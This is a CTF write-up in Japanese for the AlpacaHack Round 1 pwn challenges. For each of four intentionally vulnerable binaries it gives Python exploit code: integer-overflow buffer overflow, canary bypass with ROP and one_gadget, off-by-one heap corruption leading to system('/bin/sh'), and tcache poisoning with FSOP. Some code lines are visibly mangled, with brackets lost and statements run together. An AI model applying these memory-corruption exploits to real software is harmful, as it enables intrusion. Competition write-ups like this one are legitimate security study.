AlpacaHack Round 1 (Pwn)
echo
intで受け取ったサイズをunsigned intに変換しているためオーバーフロー関係で何かありそう
色々試すとINT_MAX+1を入力することでバリデーションを通過できた
後はBOFでreturn to winしてフラグ入手
hexecho
BOFが可能だがstack canaryが有効
16進数として1byteずつ入力を受け取っている
-を入力することでスタックへの書き込みをせずにバッファを消費できるっぽい
よってcanaryを回避しながらスタックの自由な場所に書き込みができる あとはいつもどおりROP
code: (python)
def exploit():
payload = b"-"*280 + b"0"
payload += b"2113400000000000" # ret
payload += b"3612400000000000" # hexecho()
sendafter("Size: ", b"296")
sendafter("(hex): ", payload)
hex_data = recv()
leak = int(''.join(x.decode() for x in hex_data153:161::-1), 16) libc_base = leak - 0x21b780
print(f"{hex(libc_base)=}")
one_gadget = libc_base + 0xebc81
pop_rbp = libc_base + 0x001bc00f
payload = b"-"*280 + b"0"
payload += hex_format(pop_rbp)
payload += hex_format(0x404100) # writable space
payload += hex_format(one_gadget)
sendafter("Size: ", b"304")
sendafter("(hex): ", payload)
return 0
deck
shuffle_knuth()にoff-by-oneの脆弱性が存在
シャッフル方式を2番に変えてゲームを行うことで、heap領域にあるdeck内の値がランダムに一つ、隣接するnameチャンクのヘッダと入れ替わってしまう
ヘッダが書き換わるとサイズ情報が壊れるが、同時にサイズの下位ビットに存在しているフラグ情報も壊してしまう
したがって、入れ替わった値の下位ビットが元と一致する0x101, 0x201, 0x301の3パターンのみ、フラグを壊さずにサイズを改竄することができる
ここで0x101を引いたと仮定して、一度free()することでnameチャンクがあった場所がtcache_bins[0x100]に登録される
その後再びchange nameでいい感じのサイズ(0xf0前後)を指定して再確保しつつペイロードを送り込むことで、nameチャンクの後ろに存在するgame構造体内のアドレスを書き換えることができる
game_play関数のgame->shuffle(game->deck);を使えば大体なんでもできる
注意点として、getstr()関数で入力の最後に0x0が付与されてしまうため、ペイロードの最後1バイトを削らないと後ろのtcacheチャンク情報がぶっ壊れて落ちる
あとはputs(puts@got)でlibcリークしてsystem("/bin/sh")実行すればok
code: (python)
def play_game():
sendafter("> ", b"1")
sendafter(": ", b"1")
sendafter(": ", b"1")
def chg_shuffle(n):
sendafter("> ", b"2")
sendafter(": ", str(n).encode())
def chg_name(l, s):
sendafter("> ", b"3")
sendafter(": ", str(l).encode())
sendafter(": ", s)
bin_sh = 0x1d8678
def exploit():
chg_shuffle(2)
play_game()
try:
chg_name(0x10, b"a")
payload = b"a" * 0x20
payload += p64(elf.plt"puts") # void *shuffle payload += p64(elf.got"puts"):-1 # card_t *deck chg_name(0xf0, payload)
sendafter("> ", b"1")
recv()
res = recv(": ")
if res0 == b"Guess": return 1 # leak failed libc_leak = u64(res0.ljust(8, b'\x00')) libc_base = libc_leak - 0x80e50
send(b"1")
sendafter(": ", b"1")
print("leaked libc base:", hex(libc_base))
chg_name(0x10, b"a")
payload = b"a" * 0x20
payload += p64(libc_base + libc.symbols"system") # void *shuffle payload += p64(libc_base + bin_sh):-1 # card_t *deck chg_name(0xf0, payload)
sendafter("> ", b"1")
except EOFError:
return 1
return 0
todo
todo_list.capacity()でindexの判定をしているので、削除済みの領域を参照できる
unsortedbinからheap baseとlibc baseをリークし、tcache poisoningでstdoutを書き換えてFSOP
overflow経由でexit時に発火させるやり方だとデストラクタが起動してfree(): invalid pointerでabortしてしまうため、stdoutを書き換えてxputnから発火させる方式を採用した
code: (python)
def add(data):
sendafter("> ", b"1")
sendafter(": ", data)
info(f'add: {data}')
def show(idx):
sendafter("> ", b"2")
sendafter(": ", str(idx).encode())
info(f'show: {idx}')
return recv(after=b': ')
def edit(idx, data):
sendafter("> ", b"3")
sendafter(": ", str(idx).encode())
sendafter(": ", data)
info(f'edit: {idx=} {data=}')
def delete(idx):
sendafter("> ", b"4")
sendafter(": ", str(idx).encode())
info(f'delete: {idx}')
def exploit():
add(b'a'*0x420)
add(b'b'*0x20)
add(b'c'*0x420)
add(b'd'*0xe0)
add(b'e'*0xe0)
delete(i)
leak = show(0)
heap_base = u64(leak:8)-0x14680 libc_base = u64(leak8:16)-0x21ace0 print(f'{heap_base=:#x}')
print(f'{libc_base=:#x}')
stdout = libc_base + 0x21b780
edit(3, p64(stdout ^ ((heap_base+0x14c10) >> 12))) # tcache poisoning
add(b'f'*0xe0)
payload = flat({
0x0000: b" sh", # _flags (rdi)
0x0088: stdout-0x10, # _lock (require writable address)
0x00a0: stdout-0x10, # _wide_data
# vtable
0x0068-0x10: libc_base + libc.symbols'system', # __doallocate # wide_data
0x00e0-0x10: stdout-0x10,
}, filler=b'\0')
add(payload)
return 0